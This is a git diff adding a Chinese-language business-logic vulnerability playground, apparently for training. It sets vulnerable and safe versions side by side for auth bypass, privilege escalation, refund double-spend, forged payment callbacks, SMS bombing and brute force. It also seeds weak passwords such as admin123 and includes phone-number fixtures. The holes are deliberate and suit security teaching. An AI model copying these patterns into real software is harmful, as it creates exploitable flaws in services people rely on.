LinkedHashMap(); + item.put("orderId", order.orderId); + item.put("orderNumber", order.orderNumber); + item.put("ownerUserId", order.ownerUserId); + item.put("status", order.status); + return item; + } + + private Map sanitizeWalletOrder(WalletOrderRecord order) { + Map item = new LinkedHashMap(); + item.put("orderId", order.orderId); + item.put("orderNumber", order.orderNumber); + item.put("ownerUserId", order.ownerUserId); + item.put("amount", money(order.amount)); + item.put("refunded", order.refunded); + item.put("usedRefundKeys", new ArrayList(order.usedRefundKeys)); + return item; + } + + private Map sanitizePaymentOrder(PaymentOrderRecord order) { + Map item = new LinkedHashMap(); + item.put("orderNumber", order.orderNumber); + item.put("amount", money(order.amount)); + item.put("status", order.status); + item.put("merchantId", order.merchantId); + item.put("lastCallbackAmount", money(order.lastCallbackAmount)); + return item; + } + + private List> scenarioList() { + List> items = new ArrayList>(); + items.add(scenario("伪造身份", "POST /auth/login-vul", "客户端可控 debugUserId 与 bypassPassword 导致认证绕过")); + items.add(scenario("水平越权", "GET /api/personal/{id}/vul", "普通用户可读取其他用户资料")); + items.add(scenario("垂直越权", "GET /api/admin/report/vul", "服务端信任客户端角色头")); + items.add(scenario("流程绕过", "POST /api/orders/{id}/checkout/vul", "可篡改金额并直接把订单标记为已支付")); + items.add(scenario("短信验证码逻辑问题", "POST /sms/send-vul + POST /sms/verify-vul", "验证码回显、未绑定手机号、可复用")); + items.add(scenario("短信轰炸", "POST /sms/bomb-vul", "缺少图形验证码和发送频控")); + items.add(scenario("弱口令登录爆破", "GET /auth/bruteforce-vul", "SQLite 预置弱口令账号,无验证码和锁定")); + items.add(scenario("图形验证码登录", "GET /auth/bruteforce-safe", "数字字母验证码、统一错误提示、失败临时锁定")); + items.add(scenario("优惠券重复核销", "POST /promo/coupons/redeem/vul", "一次性优惠券可并发或重复使用")); + items.add(scenario("重复退款", "POST /payments/{orderId}/refund/vul", "缺少幂等键与支付状态校验")); + items.add(scenario("折扣叠加", "POST /pricing/discounts/calculate/vul", "优惠券、积分、会员折扣和闪购折扣可异常叠加")); + items.add(scenario("密码重置 Token 复用", "POST /auth/reset/send-vul + POST /auth/reset/confirm-vul", "令牌可预测、可复用、未绑定目标账号")); + items.add(scenario("审批流跳步", "POST /workflow/approval/{taskId}/vul", "客户端可直接指定目标审批状态")); + items.add(scenario("订单状态机绕过", "POST /workflow/orders/{orderId}/state/vul", "订单可从 CREATED 直接跳到 COMPLETED")); + items.add(scenario("负数金额套利", "POST /pricing/negative-amount/vul", "负数数量、负数金额或异常优惠可导致订单金额异常")); + items.add(scenario("库存超卖", "POST /inventory/oversell/vul", "并发请求和非原子扣减会把库存扣成负数")); + items.add(scenario("余额退款双花", "POST /wallet/orders/{orderId}/refund/vul", "钱包退款缺少幂等保护,余额可以被重复退回")); + items.add(scenario("调试开关绕过", "POST /workflow/debug-bypass/vul", "调试参数 debugMode 或 skipAudit 被服务端直接信任")); + items.add(scenario("伪造支付回调", "POST /payments/callback/vul", "只传 SUCCESS 状态就能把订单标记为已支付")); + return items; + } + + private Map scenario(String name, String endpoint, String description) { + Map item = new LinkedHashMap(); + item.put("name", name); + item.put("endpoint", endpoint); + item.put("description", description); + return item; + } + + private Map message(String text) { + Map data = new LinkedHashMap(); + data.put("message", text); + return data; + } + + private List> smsProfiles() { + List> list = new ArrayList>(); + list.add(smsUser(21L, "17365375549", "胡绍齐")); + list.add(smsUser(23L, "13078470040", "金天翼")); + list.add(smsUser(27L, "15134299958", "韩雨宁")); + list.add(smsUser(29L, "15933988032", "贺修远")); + return list; + } + + private Map smsUser(Long userId, String phoneNumber, String name) { + Map data = new LinkedHashMap(); + data.put("userId", userId); + data.put("phoneNumber", phoneNumber); + data.put("name", name); + return data; + } + + private String newCode() { + return String.format("%06d", random.nextInt(1000000)); + } + + private int increaseCounter(Map counterMap, String key) { + int next = counterMap.containsKey(key) ? counterMap.get(key) + 1 : 1; + counterMap.put(key, next); + return next; + } + + private boolean blank(String value) { + return value == null || value.trim().isEmpty(); + } + + private String defaultString(String value) { + return value == null ? "" : value; + } + + private UserAccount findByPhone(String phoneNumber) { + if ("17365375549".equals(phoneNumber)) { + return users.get(21L); + } + if ("13078470040".equals(phoneNumber)) { + return users.get(23L); + } + if ("15134299958".equals(phoneNumber)) { + return users.get(27L); + } + if ("15933988032".equals(phoneNumber)) { + return users.get(29L); + } + return null; + } + + private double clampRate(double rate) { + if (rate < 0) { + return 0; + } + if (rate > 0.5) { + return 0.5; + } + return rate; + } + + private double clampMoney(double amount) { + if (amount < 0) { + return 0; + } + return amount; + } + + private double money(double amount) { + return Math.round(amount * 100.0) / 100.0; + } + + private String paymentSign(String orderNumber, double amount, String merchantId) { + return "SIGN-" + orderNumber + "-" + ((int) Math.round(amount * 100)) + "-" + merchantId; + } + + private static final class CouponRecord { + private final String code; + private final double discountAmount; + private int remaining; + private final Set redeemedUserIds = new HashSet(); + + private CouponRecord(String code, double discountAmount, int remaining) { + this.code = code; + this.discountAmount = discountAmount; + this.remaining = remaining; + } + } + + private static final class RefundLedger { + private final Long orderId; + private double totalRefunded; + private final Set usedKeys = new HashSet(); + + private RefundLedger(Long orderId, double totalRefunded) { + this.orderId = orderId; + this.totalRefunded = totalRefunded; + } + } + + private static final class ResetAccount { + private final String username; + private final String displayName; + private String password; + + private ResetAccount(String username, String displayName, String password) { + this.username = username; + this.displayName = displayName; + this.password = password; + } + } + + private static final class ResetTokenRecord { + private final String token; + private final String username; + private boolean used; + private final long expiresAt; + + private ResetTokenRecord(String token, String username, long expiresAt) { + this.token = token; + this.username = username; + this.expiresAt = expiresAt; + } + } + + private static final class ApprovalTaskRecord { + private final Long taskId; + private final String title; + private final Long creatorUserId; + private String status; + private final List history; + + private ApprovalTaskRecord(Long taskId, String title, Long creatorUserId, String status, List history) { + this.taskId = taskId; + this.title = title; + this.creatorUserId = creatorUserId; + this.status = status; + this.history = history; + } + } + + private static final class WorkflowOrderRecord { + private final Long orderId; + private final String orderNumber; + private final Long ownerUserId; + private String status; + + private WorkflowOrderRecord(Long orderId, String orderNumber, Long ownerUserId, String status) { + this.orderId = orderId; + this.orderNumber = orderNumber; + this.ownerUserId = ownerUserId; + this.status = status; + } + } + + private static final class InventoryRecord { + private final String skuCode; + private final String productName; + private int stock; + + private InventoryRecord(String skuCode, String productName, int stock) { + this.skuCode = skuCode; + this.productName = productName; + this.stock = stock; + } + } + + private static final class WalletAccountRecord { + private final Long userId; + private double balance; + + private WalletAccountRecord(Long userId, double balance) { + this.userId = userId; + this.balance = balance; + } + } + + private static final class WalletOrderRecord { + private final Long orderId; + private final String orderNumber; + private final Long ownerUserId; + private final double amount; + private boolean refunded; + private final Set usedRefundKeys = new HashSet(); + + private WalletOrderRecord(Long orderId, String orderNumber, Long ownerUserId, double amount, boolean refunded) { + this.orderId = orderId; + this.orderNumber = orderNumber; + this.ownerUserId = ownerUserId; + this.amount = amount; + this.refunded = refunded; + } + } + + private static final class DebugTaskRecord { + private final Long taskId; + private final String title; + private String status; + + private DebugTaskRecord(Long taskId, String title, String status) { + this.taskId = taskId; + this.title = title; + this.status = status; + } + } + + private static final class PaymentOrderRecord { + private final String orderNumber; + private final double amount; + private String status; + private final String merchantId; + private double lastCallbackAmount; + + private PaymentOrderRecord(String orderNumber, double amount, String status, String merchantId) { + this.orderNumber = orderNumber; + this.amount = amount; + this.status = status; + this.merchantId = merchantId; + } + } + + private static final class SmsChallenge { + private final String phoneNumber; + private final String code; + private boolean used; + private int remainingAttempts; + + private SmsChallenge(String phoneNumber, String code, boolean used, int remainingAttempts) { + this.phoneNumber = phoneNumber; + this.code = code; + this.used = used; + this.remainingAttempts = remainingAttempts; + } + } +} diff --git a/logic_vul/src/main/resources/application.properties b/logic_vul/src/main/resources/application.properties new file mode 100644 index 0000000..8318131 --- /dev/null +++ b/logic_vul/src/main/resources/application.properties @@ -0,0 +1,5 @@ +server.port=8080 +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.datasource.url=jdbc:sqlite:./logic_vul.db +spring.sql.init.mode=always +spring.thymeleaf.cache=false diff --git a/logic_vul/src/main/resources/data.sql b/logic_vul/src/main/resources/data.sql new file mode 100644 index 0000000..4467675 --- /dev/null +++ b/logic_vul/src/main/resources/data.sql @@ -0,0 +1,7 @@ +INSERT INTO brute_force_users (id, username, password, display_name, role, enabled) VALUES + (1, 'admin', 'admin123', 'sys_admin', 'ADMIN', 1), + (2, 'test', '123456', 'test_user', 'USER', 1), + (3, 'guest', 'guest', 'guest_user', 'GUEST', 1), + (4, 'demo', 'password', 'demo_user', 'USER', 1), + (5, 'operator', 'qwerty', 'ops_duty', 'OPS', 1), + (6, 'root', 'root123', 'root_admin', 'ADMIN', 1); diff --git a/logic_vul/src/main/resources/schema.sql b/logic_vul/src/main/resources/schema.sql new file mode 100644 index 0000000..e7817ad --- /dev/null +++ b/logic_vul/src/main/resources/schema.sql @@ -0,0 +1,10 @@ +DROP TABLE IF EXISTS brute_force_users; + +CREATE TABLE brute_force_users ( + id INTEGER PRIMARY KEY, + username VARCHAR(64) NOT NULL UNIQUE, + password VARCHAR(128) NOT NULL, + display_name VARCHAR(128) NOT NULL, + role VARCHAR(32) NOT NULL, + enabled INTEGER NOT NULL DEFAULT 1 +); diff --git a/logic_vul/src/main/resources/templates/bruteforce-safe.html b/logic_vul/src/main/resources/templates/bruteforce-safe.html new file mode 100644 index 0000000..5b8babd --- /dev/null +++ b/logic_vul/src/main/resources/templates/bruteforce-safe.html @@ -0,0 +1,90 @@ + + + + + 图形验证码登录场景 + + + +
+
+

图形验证码登录场景

+

安全版要求每次登录都提交数字字母混合的图形验证码;验证码单次有效,失败达到阈值后会临时锁定账号。

+ 返回 logic_vul 首页 +
+
+
+

安全版登录

+ + + + + +
+
验证码图片
+ +
+ + + + + +
+
+

防护说明

+
    +
  • 验证码由数字和大小写字母组成。
  • +
  • 验证码约 2 分钟失效,且每次校验后立即作废。
  • +
  • 服务端统一返回“用户名、密码或验证码错误”。
  • +
  • 同一账号连续失败 5 次后会临时锁定 60 秒。
  • +
+
+
+
+

响应结果

+
等待提交登录...
+
+
+ + + diff --git a/logic_vul/src/main/resources/templates/bruteforce-vul.html b/logic_vul/src/main/resources/templates/bruteforce-vul.html new file mode 100644 index 0000000..15f334d --- /dev/null +++ b/logic_vul/src/main/resources/templates/bruteforce-vul.html @@ -0,0 +1,82 @@ + + + + + 弱口令登录爆破场景 + + + +
+
+

弱口令登录爆破场景

+

这个页面使用 SQLite 中的 brute_force_users 表,故意保留弱口令、用户名枚举和无限重试,适合演示登录爆破。

+ 返回 logic_vul 首页 +
+
+
+

漏洞版登录

+
+ + + + + +
+

特点:服务端会区分“用户名不存在”和“密码错误”,也没有验证码与锁定。

+
+
+

弱口令提示

+
  • 加载中...
+

常见字典: 加载中...

+

说明: 加载中...

+
+
+
+

响应结果

+
等待提交登录...
+
+
+ + + diff --git a/logic_vul/src/main/resources/templates/index.html b/logic_vul/src/main/resources/templates/index.html new file mode 100644 index 0000000..9d8b80b --- /dev/null +++ b/logic_vul/src/main/resources/templates/index.html @@ -0,0 +1,113 @@ + + + + + 业务逻辑漏洞测试页面 + + + +

业务逻辑漏洞测试页面

+

个人信息泄露

+ +
+
+ + +
+
+ + +
+
+ +

未授权访问

+ + + + +账号爆破 +密码爆破 +密码重置 +用户注册 +短信轰炸 +短信失效 + + + + +

响应结果:

+

+
+
+
+
diff --git a/logic_vul/src/main/resources/templates/logic-vul-approval.html b/logic_vul/src/main/resources/templates/logic-vul-approval.html
new file mode 100644
index 0000000..014516f
--- /dev/null
+++ b/logic_vul/src/main/resources/templates/logic-vul-approval.html
@@ -0,0 +1,59 @@
+
+
+
+    
+    审批流跳步场景
+    
+
+
+
+
+

审批流跳步场景

+

漏洞版允许客户端直接指定目标审批状态,例如直接改成 APPROVED;安全版根据当前状态、角色和动作推进流程。

+ 返回首页 +
+
+
+

漏洞版

+ + + +
+
+

安全版

+ + + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-checkout.html b/logic_vul/src/main/resources/templates/logic-vul-checkout.html new file mode 100644 index 0000000..ca8a9dd --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-checkout.html @@ -0,0 +1,68 @@ + + + + + 流程绕过场景 + + + +
+
+

流程绕过场景

+

漏洞版会信任客户端提供的金额、支付状态和库存检查参数;安全版必须校验 token、库存锁定和支付流水号。

+ 返回首页 +
+
+
+

漏洞版

+ + + + +
+
+

安全版

+ + + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-coupon.html b/logic_vul/src/main/resources/templates/logic-vul-coupon.html new file mode 100644 index 0000000..a5daf57 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-coupon.html @@ -0,0 +1,58 @@ + + + + + 优惠券重复核销场景 + + + +
+
+

优惠券重复核销 / 并发刷穿

+

漏洞版信任客户端传入的核销次数,同一张一次性优惠券可能被重复消费;安全版要求登录并按用户和库存额度校验。

+ 返回首页 +
+
+
+

漏洞版

+ + +
+
+

安全版

+ + + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-discount.html b/logic_vul/src/main/resources/templates/logic-vul-discount.html new file mode 100644 index 0000000..2537183 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-discount.html @@ -0,0 +1,37 @@ + + + + + 折扣叠加场景 + + + +
+
+

折扣叠加场景

+

漏洞版允许优惠券、会员折扣、闪购和积分全部叠加;安全版只允许有限组合并做价格下限保护。

+ 返回首页 +
+
+

漏洞版

+

安全版

+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-home.html b/logic_vul/src/main/resources/templates/logic-vul-home.html new file mode 100644 index 0000000..e47d57a --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-home.html @@ -0,0 +1,56 @@ + + + + + logic_vul Playground + + + +
+
+

logic_vul Playground

+

首页现在只负责导航。每一个业务逻辑场景都拆成了独立页面,进入后会在自己的区域里演示漏洞版与安全版。

+

你也可以直接访问 /logic-vul/info 查看所有演示接口、账号和样例数据。

+
+ +
+

伪造身份

客户端可控 debugUserIdbypassPassword 导致认证绕过。

打开场景
+

水平越权

普通用户通过篡改参数读取其他用户资料。

打开场景
+

垂直越权

服务端信任客户端角色头,直接返回管理员报表。

打开场景
+

流程绕过

客户端可篡改金额、支付状态和库存检查参数。

打开场景
+

短信验证码逻辑

演示验证码回显、未绑定手机号、可复用等问题。

打开场景
+

短信轰炸

演示无频控发送与安全版限流的对照。

打开场景
+

弱口令登录爆破

SQLite 弱口令账号、用户名枚举、无验证码与无锁定。

打开场景
+

图形验证码登录

数字字母图形验证码、统一错误提示、失败临时锁定。

打开场景
+

优惠券重复核销

一次性优惠券被并发或重复使用。

打开场景
+

重复退款

缺少幂等键、支付状态和归属校验导致重复退款。

打开场景
+

折扣叠加

优惠券、会员折扣、闪购和积分发生异常叠加。

打开场景
+

密码重置 Token 复用

演示可预测、可复用、未绑定目标账号的重置令牌。

打开场景
+

审批流跳步

客户端直接指定审批结果,跳过服务端流程校验。

打开场景
+

订单状态机绕过

订单从创建态直接跳到完成态,绕过正常流转。

打开场景
+
+ +
+

说明

+
    +
  • 每个页面都保留了输入框、示例参数和响应结果区域,方便直接演示。
  • +
  • 需要安全版 token 的场景,可先在对应页面点击“获取安全版 token”。
  • +
  • 弱口令登录爆破与图形验证码登录页面已改成中文描述。
  • +
+
+
+ + diff --git a/logic_vul/src/main/resources/templates/logic-vul-horizontal.html b/logic_vul/src/main/resources/templates/logic-vul-horizontal.html new file mode 100644 index 0000000..508d307 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-horizontal.html @@ -0,0 +1,59 @@ + + + + + 水平越权场景 + + + +
+
+

水平越权场景

+

漏洞版只信任客户端传入的 actingUserId;安全版必须使用 X-Logic-Token 校验资料归属。

+ 返回首页 +
+
+
+

漏洞版

+ + + +
+
+

安全版

+ + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-identity.html b/logic_vul/src/main/resources/templates/logic-vul-identity.html new file mode 100644 index 0000000..b28f246 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-identity.html @@ -0,0 +1,49 @@ + + + + + 伪造身份场景 + + + +
+
+

伪造身份场景

+

漏洞版登录会信任客户端传入的 debugUserIdbypassPassword,从而直接拿到别人的身份令牌。

+ 返回首页 +
+
+
+

漏洞版

+ + + +
+
+

安全版

+ + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-refund.html b/logic_vul/src/main/resources/templates/logic-vul-refund.html new file mode 100644 index 0000000..da101cb --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-refund.html @@ -0,0 +1,59 @@ + + + + + 重复退款场景 + + + +
+
+

重复退款场景

+

漏洞版缺少幂等键、支付状态与归属校验,退款请求可以被反复重放;安全版要求订单已支付、token 有效且提供幂等键。

+ 返回首页 +
+
+
+

漏洞版

+ + + +
+
+

安全版

+ + + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-reset.html b/logic_vul/src/main/resources/templates/logic-vul-reset.html new file mode 100644 index 0000000..edb6647 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-reset.html @@ -0,0 +1,48 @@ + + + + + 密码重置 Token 复用场景 + + + +
+
+

密码重置 Token 复用场景

+

漏洞版令牌可预测、可复用,还允许客户端指定目标账号;安全版令牌随机、绑定单一账号并带有效期。

+ 返回首页 +
+
+
+

发送重置令牌

+ + + +
+
+

提交重置

+ + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-sms-bomb.html b/logic_vul/src/main/resources/templates/logic-vul-sms-bomb.html new file mode 100644 index 0000000..50d8517 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-sms-bomb.html @@ -0,0 +1,46 @@ + + + + + 短信轰炸场景 + + + +
+
+

短信轰炸场景

+

漏洞版没有图形验证码、冷却时间和发送频控;安全版会限制单手机号的发送次数。

+ 返回首页 +
+
+
+

发送参数

+ + + + +
+
+

观察点

+

关注发送次数、验证码列表,以及安全版是否在达到阈值后阻止继续发送。

+
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-sms-code.html b/logic_vul/src/main/resources/templates/logic-vul-sms-code.html new file mode 100644 index 0000000..ef70ff6 --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-sms-code.html @@ -0,0 +1,52 @@ + + + + + 短信验证码逻辑场景 + + + +
+
+

短信验证码逻辑场景

+

这里演示验证码回显、跨手机号复用、重复使用,以及安全版对手机号绑定和尝试次数的控制。

+ 返回首页 +
+
+
+

发送验证码

+ + + +
+
+

校验验证码

+ + + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-state-machine.html b/logic_vul/src/main/resources/templates/logic-vul-state-machine.html new file mode 100644 index 0000000..4b6f99c --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-state-machine.html @@ -0,0 +1,59 @@ + + + + + 订单状态机绕过场景 + + + +
+
+

订单状态机绕过场景

+

漏洞版直接信任客户端提交的目标状态;安全版只允许 CREATED -> PAID -> SHIPPED -> COMPLETED 顺序流转。

+ 返回首页 +
+
+
+

漏洞版

+ + + +
+
+

安全版

+ + + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/logic_vul/src/main/resources/templates/logic-vul-vertical.html b/logic_vul/src/main/resources/templates/logic-vul-vertical.html new file mode 100644 index 0000000..48809ef --- /dev/null +++ b/logic_vul/src/main/resources/templates/logic-vul-vertical.html @@ -0,0 +1,61 @@ + + + + + 垂直越权场景 + + + +
+
+

垂直越权场景

+

漏洞版仅校验客户端请求头 X-Client-Role;安全版必须持有管理员 token。

+ 返回首页 +
+
+
+

漏洞版

+ + + +
+
+

安全版

+ + + +
+
+

响应结果

等待发送请求...
+
+ + + diff --git a/microservice-a-service/Dockerfile b/microservice-a-service/Dockerfile deleted file mode 100644 index 13391e5..0000000 --- a/microservice-a-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-a-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-a-service/Dockerfile_local b/microservice-a-service/Dockerfile_local deleted file mode 100644 index df28b3f..0000000 --- a/microservice-a-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-a-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-a-service/microservice-a-service.iml b/microservice-a-service/microservice-a-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-a-service/microservice-a-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-a-service/src/main/java/com/myapp/servicea/ServiceAApplication.java b/microservice-a-service/src/main/java/com/myapp/servicea/ServiceAApplication.java deleted file mode 100644 index 623ca0f..0000000 --- a/microservice-a-service/src/main/java/com/myapp/servicea/ServiceAApplication.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.myapp.servicea; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceAApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceAApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } -} - diff --git a/microservice-a-service/src/main/java/com/myapp/servicea/controllers/ServiceAController.java b/microservice-a-service/src/main/java/com/myapp/servicea/controllers/ServiceAController.java deleted file mode 100644 index 82b3703..0000000 --- a/microservice-a-service/src/main/java/com/myapp/servicea/controllers/ServiceAController.java +++ /dev/null @@ -1,42 +0,0 @@ -package com.myapp.servicea.controllers; - - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.http.ResponseEntity; -import org.springframework.web.bind.annotation.*; -import org.springframework.web.client.RestTemplate; - -@RestController -public class ServiceAController { - private static final Logger logger = LoggerFactory.getLogger(ServiceAController.class); - - @Autowired - private RestTemplate restTemplate; - - @GetMapping("/call-service-b") - public String callServiceB() { - return restTemplate.getForObject("http://service-b/some-endpoint", String.class); - } - - @GetMapping("/process-user-data") - public String processUserData(@RequestParam String userData) { - // 发送数据到Service B - restTemplate.postForObject("http://service-b/process", userData, String.class); - return "Data processing started"; - } - - @PostMapping("/receiveAuditResult") - public ResponseEntity receiveAuditResult(@RequestBody String auditResult) { - // 处理接收到的审核结果 - // 这里可以记录结果,或者根据结果采取进一步的行动 - logger.info("auditResult:"+auditResult); - return ResponseEntity.ok("Audit result received: " + auditResult); - } - - - - - -} \ No newline at end of file diff --git a/microservice-a-service/src/main/resources/application.yml b/microservice-a-service/src/main/resources/application.yml deleted file mode 100644 index 23db359..0000000 --- a/microservice-a-service/src/main/resources/application.yml +++ /dev/null @@ -1,21 +0,0 @@ -server: - port: 29998 - -spring: - application: - name: service-a - -eureka: - client: - registerWithEureka: true - fetchRegistry: true - serviceUrl: - defaultZone: http://eureka-server:29999/eureka/ - - -logging: - level: - root: INFO - com.myapp: DEBUG - pattern: - console: '%d{yyyy-MM-dd HH:mm:ss} - %logger{36} - %level - %msg%n' diff --git a/microservice-b-service/Dockerfile b/microservice-b-service/Dockerfile deleted file mode 100644 index 1e1fc48..0000000 --- a/microservice-b-service/Dockerfile +++ /dev/null @@ -1,14 +0,0 @@ -FROM wushangleon/java:jdk8u112_maven as builder - -COPY . /opt/app -WORKDIR /opt/app -RUN mvn package -DskipTests - -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/app/target/microservice-b-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-b-service/Dockerfile_local b/microservice-b-service/Dockerfile_local deleted file mode 100644 index 6968117..0000000 --- a/microservice-b-service/Dockerfile_local +++ /dev/null @@ -1,8 +0,0 @@ -FROM wushangleon/java:jdk8u112 -# 复制构建好的 JAR 文件到容器 -COPY target/microservice-b-service-1.0-SNAPSHOT.jar /opt/app.jar - -# 定义启动命令 -CMD ["java", "-jar", "/opt/app.jar"] - - diff --git a/microservice-b-service/microservice-b-service.iml b/microservice-b-service/microservice-b-service.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/microservice-b-service/microservice-b-service.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/microservice-b-service/src/main/java/serviceb/ServiceBApplication.java b/microservice-b-service/src/main/java/serviceb/ServiceBApplication.java deleted file mode 100644 index f92affa..0000000 --- a/microservice-b-service/src/main/java/serviceb/ServiceBApplication.java +++ /dev/null @@ -1,24 +0,0 @@ -package serviceb; - -import org.springframework.boot.SpringApplication; -import org.springframework.boot.autoconfigure.SpringBootApplication; -import org.springframework.cloud.client.loadbalancer.LoadBalanced; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; -import org.springframework.context.annotation.Bean; -import org.springframework.web.client.RestTemplate; - -@EnableEurekaClient -@SpringBootApplication -public class ServiceBApplication { - public static void main(String[] args) { - SpringApplication.run(ServiceBApplication.class, args); - } - - @Bean - @LoadBalanced - public RestTemplate restTemplate() { - return new RestTemplate(); - } - -} - diff --git a/microservice-b-service/src/main/java/serviceb/controllers/ServiceBController.java b/microservice-b-service/src/main/java/serviceb/controllers/ServiceBController.java deleted file mode 100644 index aafb108..0000000 --- a/microservice-b-service/src/main/java/serviceb/controllers/ServiceBController.java +++ /dev/null @@ -1,108 +0,0 @@ -package serviceb.controllers; - -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RestController; -import org.springframework.web.client.RestTemplate; - -import javax.crypto.Cipher; -import javax.crypto.KeyGenerator; -import javax.crypto.SecretKey; -import javax.crypto.spec.SecretKeySpec; -import java.security.SecureRandom; -import java.util.Base64; - - - -@RestController -public class ServiceBController { - @Autowired - private RestTemplate restTemplate; - - private static final String AES = "AES"; - private static final String CHARSET_NAME = "UTF-8"; - private static final String AES_ECB_PKCS5PADDING = "AES/ECB/PKCS5Padding"; - private static final Logger logger = LoggerFactory.getLogger(ServiceBController.class); - - - - @GetMapping("/some-endpoint") - public String someEndpoint() { - // 业务逻辑处理 - return "Response from Service B"; - } - - @PostMapping("/process") - public void process(@RequestBody String data) { - // 模拟数据处理逻辑 - String processedData = processData(data); - - // 发送数据到Service C 和 Service D - restTemplate.postForObject("http://service-c/store", data, Void.class); - restTemplate.postForObject("http://service-d/analyze", data, Void.class); - } - private String processData(String data) { - try { - // 使用AES加密数据 - String encryptedData = encryptAES(data, "yourEncryptionKey"); - logger.info("encryptedData:"+encryptedData); - // ... 可以在这里添加其他处理逻辑 - - // 使用AES解密数据 - String decryptedData = decryptAES(encryptedData, "yourEncryptionKey"); - logger.info("decryptedData:"+decryptedData); - - // 模拟数据转换 - String transformedData = basicDataTransform(decryptedData); - logger.info("transformedData:"+transformedData); - - // 模拟计算操作 - String calculatedData = performSomeCalculations(transformedData); - logger.info("calculatedData:"+calculatedData); - - // 返回处理后的数据 - return "Processed: " + calculatedData; - } catch (Exception e) { - e.printStackTrace(); - return "Error in processing data"; - } - } - - private String encryptAES(String data, String key) throws Exception { - Cipher cipher = Cipher.getInstance(AES_ECB_PKCS5PADDING); - cipher.init(Cipher.ENCRYPT_MODE, getSecretKey(key)); - byte[] encryptedBytes = cipher.doFinal(data.getBytes(CHARSET_NAME)); - return Base64.getEncoder().encodeToString(encryptedBytes); - } - - private String decryptAES(String encryptedData, String key) throws Exception { - Cipher cipher = Cipher.getInstance(AES_ECB_PKCS5PADDING); - cipher.init(Cipher.DECRYPT_MODE, getSecretKey(key)); - byte[] decryptedBytes = cipher.doFinal(Base64.getDecoder().decode(encryptedData)); - return new String(decryptedBytes, CHARSET_NAME); - } - - private SecretKeySpec getSecretKey(final String key) throws Exception { - KeyGenerator generator = KeyGenerator.getInstance(AES); - SecureRandom secureRandom = SecureRandom.getInstance("SHA1PRNG"); - secureRandom.setSeed(key.getBytes()); - generator.init(128, secureRandom); - SecretKey secretKey = generator.generateKey(); - return new SecretKeySpec(secretKey.getEncoded(), AES); - } - - private String basicDataTransform(String data) { - // 基本的数据转换,例如编码转换 - return Base64.getEncoder().encodeToString(data.getBytes()); - } - - private String performSomeCalculations(String data) { - // 模拟一些计算,例如对数据进行哈希,或者其他计算操作 - return Integer.toHexString(data.hashCode()); - } - -} \ No newline at end of file diff --git a/microservice-b-service/src/main/resources/application.yml b/microservice-b-service/src/main/resources/application.yml deleted file mode 100644 index f5a6ec1..0000000 --- a/microservice-b-service/src/main/resources/application.yml 